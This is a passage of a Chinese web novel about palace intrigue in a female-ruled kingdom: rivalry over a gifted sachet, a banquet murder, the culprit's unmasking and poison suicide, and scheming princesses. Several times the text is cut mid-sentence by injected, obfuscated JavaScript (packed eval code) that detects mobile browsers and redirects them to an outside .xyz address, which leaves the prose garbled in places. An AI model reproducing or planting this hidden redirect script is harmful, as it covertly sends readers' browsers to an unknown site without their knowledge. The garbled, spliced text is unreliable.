少年苍白的面庞有了一丝娇羞:“多谢王爷的救命之恩。” 言昭离纠正他:“本王只是拉了你一把,算不得什么救命之恩。” “王爷刚才拉住我,避免了我脸着地的结局,男子向来重视容貌,且我一向爱美,王爷救了我的脸,可不就是救了我的命吗?” 他含情脉脉:“救命之恩,当以身——”相许。 言昭离打断他:“不必如此,本王只是举手之劳。” 不待他开口,言昭离就急忙离开,她步履匆匆,像是后面追着洪水猛兽。 从未觉得这条路如此漫长,一路上,言昭离遇到七八个像少年这样的人,有崴脚的,有丢玉佩的,有丢鞋的,他们的理由各不同,但目标却是一致的,原本十分钟的路程,硬是走了二十多分钟。 直到走到祁逾白身边,她才重重的松了一口气。 “怎么如此着急,是路上遇到了什么吗?”祁逾白倒了一杯水递给言昭离。 言昭离接过,一饮而尽:“没有。”都是些不重要的小事,无需说出来。 祁逾白平静道:“是吗?” 言昭离的背后莫名的一凉,她摩挲着茶杯:“是。” 祁逾白也没再多在意,道:“闭眼,我有东西要送给你。” 言昭离下意识闭眼,问:“什么东西。” “恭贺你封王的礼物。” 言昭离的眼前一片黑暗,所有的感官都被调动了起来,她听到衣袖摩擦的声音,是祁逾白在靠近。 他似乎是弯下腰来,言昭离鼻尖翳动,只觉一股清香扑面而来,尽管祁逾白不喜用香料,可这具身子自带香气,简直是天生的魅魔,言昭离脑海里突然冒出这个词来。 祁逾白冷脸把言昭离腰侧挂着的香囊拿下,这个香囊极为精湛,还带着一股幽香,祁逾白闻来,只觉刺鼻,他在的位置是一个山丘的凉亭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610534|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,恰好能纵览言昭离来的路。 一路上,有多少人对言昭离投怀送抱,他一清二楚。 言昭离来的匆忙,没发觉腰间挂了一个香囊,这香囊的主人构思极为巧妙,香囊系带的上方挂着一个小铁丝,恰好勾住了言昭离的衣丝,是想用找香囊这个借口搭上桥么。 他冷呵一声,痴心妄想。 “好了。”言昭离只觉没过多久,祁逾白就已经好了,她睁开眼,恰好与前面蹲在她前面的祁逾白对上视线。 万籁俱静,一时间,彼此只能听到对方的心跳,两人的距离在缩近,呼吸近在咫尺。 “王爷?”少年的声音在身后响起。 暧昧的氛围被破坏,言昭离回过神来,只觉得尴尬异常,怎么刚才就突然想亲上去呢? 她站起身来,看向身后的人,是刚才那个要以身相报的少年,他打断了两人,神情没有任何不自在,问道:“王爷可有看见我的香囊?一个淡粉色,绣着鸳鸯的香囊。” “香囊?” “对,这是我耗费了好几月心血绣成的,还特地找大师开过光,说只有这辈子的命定之人才可拿走。” 祁逾白嗤笑一声,一个开过光的香囊?还命定之人? 少年思索:“刚才找了一路,都没有找到,想到刚下不小心跌在王爷的怀里。”他的意思很明确,应是刚才那一跌,香囊掉在了言昭离的身上。 接着,他的目光落在言昭离的腰侧,那里挂着一个香囊,面露惊喜:“王爷腰侧挂的香囊,好像就是——” 他的声音戛然而止,因为言昭离把腰侧的香囊翻了过来,上面的图案并不是鸳鸯,而是一轮明月,旁边还绣着一行诗句,愿我如星君如月,夜夜流光相皎洁。 祁逾白微笑道:“这个好像并不是公子的香囊,我好像在哪见到过公子口中所描述的香囊。” 他颔首,示意少年看向他的旁边:“你看,那不就是你的香囊吗?” 祁逾白火上浇油:“看来公子找的大师不靠谱啊。” 少年侧头,看向旁边的位置,刚才他来的时候,怎么没注意到旁边有一个香囊。 他捡起香囊,上面沾了些灰尘,且皱巴巴的,似乎是有人大力揉搓了一顿。 真凶就在眼前,他咬牙切齿,将心中的怒火压下,没事,没事,就算香囊不在王爷的身上又如何,他找,总能找到理由的。 机会向来都是留给有准备的人的。 “不管怎么说,香囊都是在王爷——” “哎呦,”祁逾白摇摇晃晃,身形似乎站不稳,“我刚才伏下身子太久了,现在有些头晕目眩。” 言昭离扶住他的胳膊,他顺势倒在言昭离的怀里:“让我靠一会。” “嗯。”言昭离面色忧虑,是真的担心他的身体,可她却忽视了,旁边还有凳子,祁逾白却偏偏靠在她的怀里。 末了,祁逾白还向少年偷偷投去一个得意洋洋的眼神,嘴唇轻启,似乎在说,跟我斗,你还嫩了点。 少年被忽视,恨不得咬紧手中的帕子,恨恨的想,不是他不想抓住机会啊,这机会根本就没到他眼前过。 原来祁侧夫如此得宠,就是靠这些狐媚手段。 33. 第 33 章 少年被气走了。 祁逾白缓了一会,从言昭离的怀里退了出来。 言昭离给他倒了一杯茶,视线逐渐落在腰侧的香囊上:“这是你送给我的封王礼吗?” “是。” 她抚摸着上面密密麻麻的针脚:“亲手绣的吗?” 他轻‘嗯’一声,几乎闻不可见。 “谢谢你,祁逾白,我很喜欢。”她带笑的眸子看向他:“你什么时候学会绣香囊的?” 祁逾白的神色有些不自然:“很早之前学会的,入乡随俗,这里的男子都会这些。”且妻主身上的衣物,腰带,香囊之类的,都是侍郎负责的。 他虽然学的早,可对于这方面并没有天赋,也是失败了好多次,才有了现在这个香囊,至于其他的,等他再精进一下技术。 “怎么突然想到送我香囊?” “想到便送了。”他没说,这是他的一个小私心,香囊是挂在腰侧的东西,也是最能宣示主权的东西,他人一眼就能看出来。 礼尚往来,言昭离道:“我日后也送你一个东西。” * 宴席进行到中场,不少人都喝得醉醺醺的。 “哎,你怎么走了?” 谏言大夫拱了拱手:“不胜酒力,我下去稍作休息。” 她跌跌撞撞的走了一段路,嫌身后跟着的侍从烦,让他们在原地等待,她自己则跑进了后山处,那里距离前厅有很长的一段距离,人烟罕至。 她喝了不少酒,脑子发昏,只想找个地方休息,路上不小心撞到了一个人。 被撞的人很是胆小,立马下跪,身形发抖:“请贵人赎罪,奴不是故意的。” 谏言大夫眯了眯眼:“抬起头来,让本官好好看看。”她钟爱身形清瘦的男子,尤其是这种胆子小的,到了床上,泪眼婆娑的,多惹人怜爱。 那人更慌了,以为贵人看他的脸,是想更好的惩罚他,身子颤抖的更厉害了,但贵人的话不能不听,他缓缓抬头,眼里都是泪水。 “还请贵人饶了奴。”说到最后,声音都颤的。 谏言大夫眼里划过一丝激动,呼吸都急促了几分,在她如此侵略性的目光下,男子似是明白了什么,面色都红晕了。 他眼尾泛着红,咬了咬嘴唇:“只要贵人饶过奴,让奴做什么都都行。” 谏言大夫更加兴奋,只觉这男子一举一动都在勾着她,她轻勾手指头,那男子就走了上来,依偎在她的怀里。 “找间房。” 男子将谏言大夫带到后山的偏房处,在路上,有人例行检查,侍从向谏言大夫行礼后,开始询问男子。 她问道:“姓什名谁,是分管哪个区域的?” 被谏言大夫搂在怀里的男子低下头,怯怯回道:“奴叫春生,是小花园那边的小厮。” “平日里分管的事务是什么?” “奴平日就照顾些花花草草。” “到这来干什么?” “奴的一个好友把东西落在了这里,他忙着其他事情,我恰好空闲,帮他找找。” “找什么东西,口号是什么?”宴会当日,人多眼杂,言昭离将府上划分为不同区域,各派了侍从看管,为了防止有人混进来,准备了暗号,但明说暗号过于引人注目,统称为口号。 春生缓慢说道:“到这来拿东西,口号是——” 他还未说完,便被谏言大夫打断,她在一旁等的不耐烦:“问了这么多,问完没有,我要进去休息。” 来者是客,侍从微笑道:“谏言大夫,这是为了确保您的安全。” 谏言大夫满不在乎:“我的安全,我能有什么危险,让开,不要耽误我办事。”她虽是文官,没有学过武,可力气却并不小。 挡在前方的侍从被推的一个趔趄,眼睁睁看着谏言大夫带着春生进到偏房去。 “小美人,好好的伺候本官,回头好处少不了你。” “你想脱离奴籍吗?好说,今日之后,本官就把你从大皇女那要过来,到时候将你抬为侧夫。” 春生被搂在怀里,谏言大夫的酒气喷洒在他的脖颈出,他伸出手臂,勾住谏言大夫的脖子:“那奴定会好好伺候大人的。” 屋里的污秽话语传至侍从的耳边,她忍不住打了个哆嗦,啧,那小厮虽然看不见样貌,但看动作,以为是个内敛含蓄的,结果,是个奔放热情的。 大皇女曾叮嘱过,在宴会上,如果有客人想要对他们欲行不轨,完全可以反抗,一切后果都由她承担,那小厮言行举止完全不像是被迫的,应是想飞上凤凰窝的,可惜啊,那小厮的算盘终会落个空。 谏言大夫可是京城里出了名的多情且薄情之人,宠妾灭夫,经常流连于花柳之地,许下的诺言多不胜数,今日之后,估计就会将那小厮抛置脑后。 男子还未嫁人前就被破了身,是要遭人唾弃的,那小厮,以后恐怕也嫁不到一个好的妻主,人呐,总要为自己的沾沾自喜付出代价。 侍从行至半路,碰到了谏言大夫的侍从,他们看起来很是着急,到处问人:“可看到我家大人吗?” 侍从好心的为他们指明了一个方向:“在那,不过我劝你们,等会再进去。”她悄悄靠近最前面的侍从,“你家大人正忙着呢。” 一个促狭的笑容,在场的侍从都懂了,这事又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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言昭离:“发生了什么,仔细说与我听。” 侍从是个脑子清晰的,很快捋清:“禀王爷,我家大人不胜酒力,找了后山的偏房休息,路上,不让我们跟着,等有一段时间后,我们见大人迟迟未归,于是去找大人,一个侍从为我们指路,到了地方,怕误了大人的正事,我们又在门外等候片刻,等意识到不对劲,进去后就发现大人遇害了。” “大人的眼睛和心都被人掏了出来,”侍从哭嚎,“王爷,我家大人死状如此惨烈,请王爷为我家大人做主。” 侍从说完,底下人开始纷纷议论:“谏言大夫身为朝中大臣,没想到死时如此惨烈。” “挖眼挖心,凶手真是虐杀成性,这样的人,一定要把他伏诛。” “请王爷缉拿凶手,不能让谏言大夫死不瞑目。” “请王爷缉拿凶手。” “请王爷缉拿凶手。” 34. 第 34 章 “诸位放心,此事发生在我府上,我定会缉拿真凶。”言昭离又说了两句,安抚了众人的情绪。 她话不假,如此命案发生在庆武王府,她不给众人一个交代,众人只会对她的能力失望。 到了地方,远比侍从说的更加残忍,谏言大夫尸首被抬了出来,不少人都下意识的撇开视线,这……实在是有些吓人,多看一眼晚上都得做噩梦的程度。 言昭离问报信的侍从:“可知给你们指路的是谁?” 侍从回道:“奴不知,奴当时着急找大人,所以并未注意。” “此区域负责的人是谁?” 翠鸣:“是张从。”自从发生命案后,翠鸣第一时间就找到了名单,找到了负责人。 “带上来。” 张从被哆嗦的带了上来,她一直都在下面待命,且早已知晓发生了何事。 她跪着:“奴张从见过王爷,见过各位大人。” “将你当时遇到二人的场景详细说出。”谏言大夫意外死去,短时间内,只接触到那个小厮,那个小厮是最大的嫌疑人。 张从:“当时谏言大夫喝醉,靠在一小厮怀里,奴例行考察,问了那男子的身份,说是叫春生,小花园的小厮,来这是为了帮好友找东西,奴还想问口号,可谏言大夫等的有些不耐,奴就不好问下去了。” 她才讲完,翠鸣接道:“禀王爷,奴查过,小花园并未有叫春生的小厮。” 张从‘砰砰’磕头:“王爷,奴句句属实,绝无虚言。” 言昭离伸手,制止她的行为:“我并未怀疑你。” “你再想想,那春生可有什么特征?” “特征?”张从陷入了沉思,春生几乎全程都低着头,要是让她一时想出来,还真有些困难。 但这次意外的发生,一部分归根于她的失责,庆武王必是要责罚的,她只能再多提供点线索,期盼能减免些责罚。 一个模模糊糊的念头转瞬即逝,张从迅速的从脑海中捕捉:“奴,奴想到了,那春生的耳后有颗痣。” 她记得,盘问的时候,那小厮虽然全程低着头,可眼神时不时瞥向谏言大夫,头侧过去时,她一瞬间看到了他耳后的痣。 言昭离:“去找。”事情发生到现在,时间过去很短,言昭离早已派人封锁府上,就算凶手能逃离第一案发现场,也无法逃离整个庆武王府。 庆武王府的面积很大,可事情紧急,一炷香未燃尽,就已经把所有耳后有痣的人找了出来,包括那些朝中大臣所带来的侍从。 总共有五人,这五人,身形高矮胖瘦皆不一,未待言昭离开口,翠鸣就已经让张从去辨认。 张从从身形上排除两个胖的,在一个个询问剩下的三个,排除掉一个声音粗犷的,剩下的两个,身形极为相似,但很巧的是一个人是天生的哑巴,一个人嗓子受了伤,说不出话。 她皱着眉头,一时分辨不出来。 两人分别是门下录事和壮武将军的侍从,门下录事是正七品官员,壮武将军是从四品官员,门下录事的品阶低,见侍从仍未摆脱嫌疑,全身的冷汗都落了下来,她当即跪下:“请王爷明察,臣的侍从是臣三年前从人牙子手里买来的,买回来时那人牙子还曾告诉臣,这奴是个天生的哑巴,但臣见他可怜,还是买了回来,我这是有卖身契。” 她的侍从附和的‘呃呃’了两声。 门下录事瞥了一眼壮武将军,接着补充:“臣的品阶低微,且跟谏言大夫平日里并无任何交集。” 壮武将军吹眉瞪眼,指着门下录事的鼻子骂:“你个***,我***,就差指名道姓我了。”整个言国谁人不知,壮武将军脾气火爆,与谏言大夫是死敌。 两人都是同品阶的,但一个是文官,一个是武官,政见大多不合,谏言大夫认为壮武将军没脑子,壮武将军认为谏言大夫行事恶心。两人好几次差点在朝堂打起来,如今谏言大夫丧命,壮武将军的侍从脱不了嫌疑,想到两人的关系,众人也有了猜疑。 壮武将军暗恼不好,可她不善其词,只能干巴解释:“臣的侍从不是哑巴,是前些时日不小心伤了嗓子,现在开不了口,但臣保证,此事绝对与他无关。”她的侍从是自小就跟在他身边的,她对他有绝对的信任。 两人各据一方,都表明自己的侍从不是杀人凶手,在场的众人也都开始窃窃私语起来。 “这件事,你怎么看?” “本来我是保持中立的,可刚才,”说话者停顿了几秒,顾忌着壮武将军就在现场,怕她听到,声音刻意压低了几分,“你不觉得,壮武将军的反应似乎大了。” “对,我也这么觉得,一般只有心虚的人反应才会如此激烈。” “那这场命案就破的毫无悬念了。” “宋丞,你觉得呢?” 被唤作宋丞的女人但笑不语,刚才问她的人只能讪讪的转回头,在心里暗骂老狐狸,宋丞原名宋柠,在一次科举考试中脱颖而出,当场被圣上钦点为状元,此后步入朝堂,十年时间,官拜宰相。 宰相的位置,别人花二十年都不定能爬到这个位置,而宋柠却只花了十年,她能在如此短的时间内爬的如此之快,实力自然不低,在官场上,就如同一个狐狸一样,让人抓不着摸不透。 全场几乎超一半人,都认为谏言大夫是壮武将军所杀,言昭离高坐首位,始终未表态。 “张从,可还有别的地方你没有注意到。” 言昭离的一句话,像是石子投入湖里,掀起了阵阵波澜,张从猛的从迷雾中走了出来,她想的太狭隘,只光凭身形,声音上去判别,或许,有一些她忽略的小细节没有发现。 她恳求言昭离,重现当时的场景,言昭离应允。 一个与谏言大夫相似的身影脚步虚浮,搂着男子,张从拧眉,喊道:“停——” “你的头不要抬起来,要一直低着,眼神要似有若无的往她身上瞥。” 壮武将军的侍从一一照做,最后成功还原出张从记忆中的场景。 接着,轮到门下录事的侍从了,张从的眉头拧的更紧了。 “停——都说好了头要一直低着,一直低着。” “停——你这个手,要一直抱着她的腰。” “停——中间你要似有若无忘她身上瞥。” “停——” 无论张从说了多少次,门下录事的侍从都还原不出她记忆里的场景,众人也更加怀疑壮武将军。 “她的侍从能还原的如此之像,说不定就是他。” “只有当事人才能模仿的如此之像。” “门下录事的这个侍从虽然愚钝,但嫌疑能直接摆清了。” 在第n次打断后,张从上手指导他如何做,一阵微风吹来,张从闻到了一股异香,这香气极轻,似乎只有风起的时候,才会让人闻到。 但同时,这股香气又如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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门下录事跪着的双腿就没站起来过,他大惊失色:“王爷,臣对此事毫不知情,绝不可能是臣指使的,臣冤枉,那罪奴是想拉臣下水啊。” 她再一次呐喊:“臣冤枉。” “哦,是吗?”言昭离锐利的目光看向她,“你说你对此事毫不知情,可话中,怎么满是漏洞。” “你说他是买来的,当时人牙子说他是哑巴,可重利的商人怎么会好心的提醒你。” “且话里话外都在将嫌疑往壮武将军上引,本王看你,才是心里有鬼的。” 门下录事瘫坐在地上,面色如灰,自知什么都完了,一切都完了。 言昭离靠坐在椅子上:“说吧,是受何人指使?” 门下录事下意识的瞥向某处,咬牙道:“臣不知王爷在说些什么,谏言大夫是臣指使所杀,但无人指使。” “为何杀?” “只是看着不顺眼。” 言昭离:“本王不太相信呢?要不,还是审问一下。” 翠鸣等人上前,要去捉拿门下录事,不能被抓,门下录事袖中掏出一瓶毒药,一口饮下,这毒药发作很快,门下录事不一会就抽搐在地,口吐鲜血:“臣……臣……幸不……辱命。”她说的小声,几乎没有人听到。 几个呼吸间,便命丧黄泉。这场命案就此落幕,宴席上的宾客也一个个散尽。 从开始到现在,祁逾白一直是沉默的站在言昭离身旁,他道:“门下录事看的地方是四皇女所在地。” “且最后倒的方向,也是四皇女的位置。” 他话的意思很明显,门下录事的背后之人,是言笛梵。 35. 第 35 章 “禀王爷,奴查过了,那门下录事与尚书令颇有些渊源,她是尚书令举荐上来的,且私下里经常来往。” 翠鸣说的一字一句,无不在论证门下录事与言笛梵的关系,甚是可以说今日的命案,就是言笛梵指使的。 言昭离看向祁逾白:“你也这么觉得?” 祁逾白答非所问:“所有的证据皆指向四皇女。” 所有?这个词太过于绝对,让人忍不住猜疑,言笛梵能维持住纯善的名头那么多年,做这件事,这么可能不处理好小尾巴。 言昭离笑眯眯道:“如果有第三手,不可能只出现一次,暗处的人总会露出马脚的。” “今日的事,可以肯定的是,四皇女必定插手,既如此,那就先报复四皇女吧。” 祁逾白:“准备怎么报复?” 言昭离摩挲着下巴:“她好像快步入朝堂了,准备给她找点事干,让她不至于天天盯着我。” 朝堂如云端,一朝不深,坠入深渊也是常有的事情,言笛梵那么想要那个位置,那她就将她狠狠的钉在原地,止步不前。 “翠鸣,准备马车,我要进宫。”朝廷命官死在她的府上,她必须负荆请罪去。 * 回到寝宫的言笛梵,脸上阴云密布,她拂袖,将桌上的东西统统扫落在地:“废物,一群废物。” 她狠狠的剜了一眼苏青:“苏青,本皇女问你,你怎么吩咐的。” 苏青一脸苦色:“禀殿下,奴千叮咛万嘱咐,万不可有任何漏洞,可……”最后的结果却是如此,门下录事不是个蠢笨之人,可在此事上,却处处是漏洞,甚至连死前看的最后一眼都是四皇女的方向。 能在朝堂上任官,眼神自然是灵敏的,在场的好多人,可都看到了那一眼。 言笛梵的面上一片冷色,眼神阴冷:“那就是他自己不想活了,还要报复本皇女,既如此,那本皇女也就不用留什么情面了。” “是。”苏青了然,默默退了下去。 门下录事原本是不愿做这件事的,可她全家的性命都在她们手中,即便不愿,也得去做,最后事情搞砸了,她的家人也就没什么存在的必要了。 远处,见着苏青离开的背影,言柳意味不明的轻扯嘴角,她未步入朝堂,此时也是住在皇女府,而恰巧,与言笛梵离得近,耳边可是清清楚楚的听到言笛梵拂袖的声音。 六皇女身边的侍从兰香问道:“殿下,我们可要履行诺言。” “我且问你,门下录事是谁的人?” 兰香迟疑道:“殿下的?” “非也,本皇女只是跟她做了个交易,算不上本皇女的人。” “那,是四皇女的?” 言柳笑道:“是啊,既是皇姐的人,我们又如何插手得了呢?” “可……” “成大事者不拘小节。” 警告的语气,兰香迅速的低头:“是,奴明白了。”她面上一片恭敬,可心里却不免得一片荒凉,自从将六皇女从一群刁奴的手中救出,她便一直陪伴在六皇女身边,可以说,六皇女也是她看着长大的,可如今的模样,却觉得陌生。 言柳是在几日前找上门下录事的,彼时的门下录事,早已决定按照四皇女所说行事,甚至一切的脱罪证据都已找好,就算事情败露,她也有办法脱身。 言柳劝她当羊中羊,在被捉的时候露出马脚,悄无声息的透露出一个信息——她是受言笛梵指使的。 言柳承诺,只要事情成功,她便会派人救出她全家,门下录事很是犹豫。 “皇姐的性子你也是知道的,阴狠手辣,你要是按照她说的做,成功了,也会有下一件事情等着你,威胁你的还是你家人的性命,失败了,你家人将陪你一起下地狱。” “可你只要按照我说的做,无论成功失败,我都会救出你的家人,这是一笔多划算的交易,用你一人的性命,换取全家的性命。” “我该怎么相信你?” 言柳拿出一个小巧玲珑的平安锁,上面雕刻着小字,是门下录事三岁女儿的小名。 “怎么样?同意与我做交易了吗?” 侍郎、孩子的样貌浮现在她的脑海中,六皇女说的对,这是一件很划算的事,只要她完成这一件事,她的家人再也不用受到威胁。 她深吸一口气:“我答应你,不过,你要是言而无信,那我便化作厉鬼,将你拖进十八层地狱。” 听到这话的言柳,只是看着外面摇曳的柳枝,低头笑道:“十八层地狱吗?我貌似已经在了。” 风中吹散她的话语,没有任何人能听到。 兰香收敛起所有的情绪:“殿下,我已经找到了那人的所有信息。” 宴席上,言柳与霍承起在湖边散步时,遇到一人来报信,说的是谏言大夫被杀的事情,言柳本该及时赶回去,可偏偏,对那报信人产生了好奇。 据她观察,言昭离身边多是好看之人,连府上喂马的小厮都长得眉清目秀,说明是个好颜色的,可偏偏,这个报信人面容可怖,还瘸了半条腿,让她不由得想知道,这人是有多大的本事,才能留在府上。 他们距离那事发地较远,走的时间长了些,一路上,她都在旁敲侧击:“你叫什么名字?” “无名。”他的态度不卑不亢,哪怕是面对皇女,也不谄媚。 “无名,怎么起这个名字?你想不想改一个好听的名字?” “不用,这个名字是大皇女起的,奴甚是喜欢。”他特地强调喜欢,是听出来言柳的话外之意,言柳想把他留在身边。 言柳颇为遗憾:“皇姐真是幸运,遇到了你。”听出无名不愿,她的内心产生了一道莫名的恼意,似是失去了他还将会失去什么重要的事。 “奴能遇到大皇女,才是幸运。”后来,无论言柳再问什么,无名都不愿意多说。 到了地,无名迅速的消失在人海中,她再也找不到他的踪迹。 “此人是大皇女前往剿匪路上所救,后来为了报答救命之恩,便留在了大皇女身边,不过,他似乎颇有能力,在此次剿匪中也出了不少的力。” “可查到他会些什么?” 兰香:“奴无能,自从大皇女将府上彻查一遍后,就像一张铁网,再也塞不进人,也……打听不出来什么。” “那你说,我要是向皇姐讨要此人,皇姐会不会同意。”不知怎的,言柳心中,总有股强烈的预感,一定要将此人留在身边。 兰香心中不解,六皇女为何要执着一个奴才:“无名留在大皇女府,也只是一个普通的小厮,要是在殿下身边……” 言柳眼中带了笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639775|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那就等下回问皇姐。” * “儿臣给母皇请安。” “起来吧。” 言昭离摇头,未起身:“儿臣来此,特来负荆请罪。” 言武帝低头处理奏折:“哦?昭昭这是犯了什么错?” 言昭离垂头丧气:“今日是儿臣的封王宴,本该是大喜的日子,可却出了如此的命案,谏言大夫丧命,是儿臣的失职。” 言武帝早已知晓此事,在事情发生的第一时间,手下人的人就来报了,可她并未插手,只是想看言昭离这么处理,要是连这件事也处理不好,恐怕也就只能止步于此了。 “这样的事情防不胜防,昭昭毕竟年轻,考虑的不得当也是正常。” 言武帝鼓励她:“不过,依朕看,昭昭处理的甚好,能在第一时间找到凶手,且已经绳之以法,两项综合,朕便罚你三月俸禄。” “儿臣谢过母皇,只是……” 言武帝问:“昭昭可还有什么想说的?” 没有错过言武帝眼中的不悦,言昭离道:“谏言大夫毕竟死于儿臣府上,儿臣想去凭吊她。” 听到言昭离的话,言武帝神色放松:“谏言大夫死前的行为甚是不雅,且在世时未有任何出众的功绩,不值得一个王爷前去凭吊。” “是,儿臣知晓。” 这场事件的幕后之人,言武帝已知晓,没有一个母亲乐意见到自己的孩子自相残杀,在没听到言昭离讲这话前,她以为言昭离要告状,心中陡然升起一股不喜,可听言昭离如此说,心中只余惭愧。 而言昭离要的就是这种效果,她知道背后的真凶是谁,可却不告发,为的就是给妹妹保留几分颜面,如此包容善良的形象,只会让言武帝更喜,接下来,她提的要求,言武帝如何会不答应。 接着,言武帝板着一张脸,故作严肃:“那你还不快起来。” 言昭离从地上站了起来,动作间,不小心掉落一根树枝,她急忙捡起来藏至身后。 言武帝见到她的动作:“昭昭身后藏了什么?” “没什么。” 言昭离支支吾吾道:“这……就是一根普普通通的树枝。”在言武帝威严的目光下,她渐渐低下了头:“儿臣是来负荆请罪,觉得手上空空的,于是就随意拾了一个从树上掉落的树枝,当时想,要是您生气了,就拿这根树枝抽儿臣吧,儿臣绝对不躲。” 她这孩子话的话语,引来了言武帝的发笑:“昭昭还真是负荆请罪来了?” “朕怎么舍得抽你这个娇气包,小时候多喝口药都得让人哄半天。” 言昭离吐舌头:“儿臣才不是娇气包呢?是那药太苦了,而且小时候只要母皇一哄儿臣,儿臣就乖乖的喝药了,只是,”她的面上一片落寞,“儿臣长大后,便觉得母皇不待小时候那样对儿臣好了。” 言武帝一愣:“昭昭是这样觉得?” 言昭离点头又摇头:“儿臣长大了,还是能理解母皇的,母皇不仅是儿臣的母亲,更是万民的母亲,且母皇身上的担子很重,儿臣不能过多让母皇担忧。” “母皇,一月后便是您的生辰,这一个月内,儿臣想去青山寺为您祈福,为天下祈福。” “好好,不愧是朕的女儿。”言武帝龙心大悦,“昭昭既有如此诚心,朕怎会不允。” 36. 第 36 章 天还未亮,言昭离就再一次被翠鸣从床上喊了起来,休息了大半个月,她的作息还没调回来,此刻,睡眼朦胧的穿衣。 成为王爷后,朝服都变得不一样起来,样式更加大气、豪华,光是袖口上的花纹,都是用金线绣的。 言昭离的样貌本就生的极好,穿上朝服,更加光彩动人,等彻底收拾好,人也变得清醒了起来,她在全身镜前左照照右照照,言国是没有全身镜的,这个镜子还是她特意吩咐巧匠打造出来的。 她照了良久,总感觉少了什么,直到视线落到镜中的一角,上面折射出某人的睡颜,换作平日,她是不会叫醒祁逾白的,可今日不一样。 言昭离踮起脚尖,猫着身子,慢慢凑近,挑起一缕头发,用发尾轻轻扫过祁逾白的脸,见祁逾白睫毛颤动,明显是对此有了反应,她忍不住笑出了声,接着,手腕处被一只骨节分明的手握住,往下一拉。 祁逾白睡在内侧,此时言昭离全部的支撑力量都在手臂,一只手被往下拉,她受力不稳,跌进祁逾白的怀里。 “捉弄我?”祁逾白挑眉问道。 两人近在咫尺,言昭离甚至能感受到祁逾白滚烫的身躯,她回:“没。” 他喉结滚动:“哦,那是为什么?” “就是……就是……”想让你看看今天的我,后面的话,她支支吾吾的说不出口,总感觉有些羞耻。 “咳咳——”翠鸣忍不住提醒,“王爷,上早朝的时间快到了。” 刚才的场景她们瞧着也甚是开心,可要是再不提醒,王爷就要误了今日的早朝,这可就不好了。 “好。”言昭离从祁逾白的怀里退了出来,迅速的找借口:“没什么,我要去上早朝了。” 在即将抽身的时候,被祁逾白拉住手,很快,又被松开,她听见祁逾白低沉的声音响起:“昭昭,今日很好看。” 等坐在马车上,言昭离脸上的余热仍未散尽,她掀开帘子,企图用过路的风降温,但没什么效果,她烦躁的揉了把脸,祁逾白的话,怎么跟个阴魂一样纠缠不清。 * 今日的早朝是言昭离成为庆武王后出面的第一次早朝,同时也是四皇女言笛梵的第一次早朝。 早朝上,春秋作为言武帝的近侍,有代替言武帝发声的权利,她先是惋惜了谏言大夫的死亡,对谏言大夫抚慰,接着,公布了对言昭离的惩罚。 很快,有人跳了出来,是一个小官,她的胆子自然不可能反驳言武帝的任何决定,真正敢反驳的,是她背后之人。 “陛下,谏言大夫无故惨死在庆武王府上,庆武王有不可推卸责任,臣认为只罚三个月的俸禄过于轻。” 言落依率先开口:“人又不是皇姐杀的,且皇姐能第一时间捉拿凶手,已是不易,母皇,儿臣甚至认为,皇姐不该受此惩罚。” “二皇女的偏袒未免过于明显。” 言落依的嘴也是个不饶人的:“本皇女只是实话实说,你这么不依不饶的,本皇女且问你,换做是你,你能否处理的如皇姐这般,还是说,你有更好的处理办法。” 大臣缄口,她自然是没有,在宴席开始之前,言昭离便划分好每一片区域,即使出事,也能迅速的找到负责的人,将有嫌疑的人迅速捕捉,顺藤摸瓜的解决。 “二皇女这是在咄咄逼人。” 言落依抱手:“本皇女咄咄逼人,我看,是你在质疑母皇的决策。” “微臣不敢。” “好了,此事到此为止。”言武帝在她们哑口无言的时候出声制止,“往后莫要再提。” “还有别的事要说吗?” “微臣启奏,近日不少流民涌入京城,是北方旱灾所导致的,这些流民数量甚多,需要有人管理,微臣举荐二皇女。” “微臣也认为二皇女最为合适。” “臣附议。” 管理流民,这份差事虽苦,但意义重大,言落依出声:“母皇,儿臣愿意接管此事。” 看着往日最随意的女儿愿意挑起大梁,言武帝甚是欣慰:“好,朕允了。” “陛下泽天宽厚,实乃我言国之福,微臣记得,陛下的生辰不日即将来临,可当今后宫无人可用,臣谏言,庆武王是陛下嫡女,应当尽一份心。”言武帝的生辰在一个月后,往日都是皇贵俞操持,可如今皇贵俞幽禁启祥宫,后宫无人坐镇。 “臣附议。” “臣反对,臣认为,四皇女最为合适,四皇女的生父是皇贵俞,且初入朝堂,应是需要一份差事来历练。” “臣附议。” “臣附议。” 言武帝:“那便让四皇女操持此事。” “陛下——”有人还想反对。 言武帝抬手制止:“朕已允庆武王去青山寺祈福一个月。” 众人不由得望向前面那个 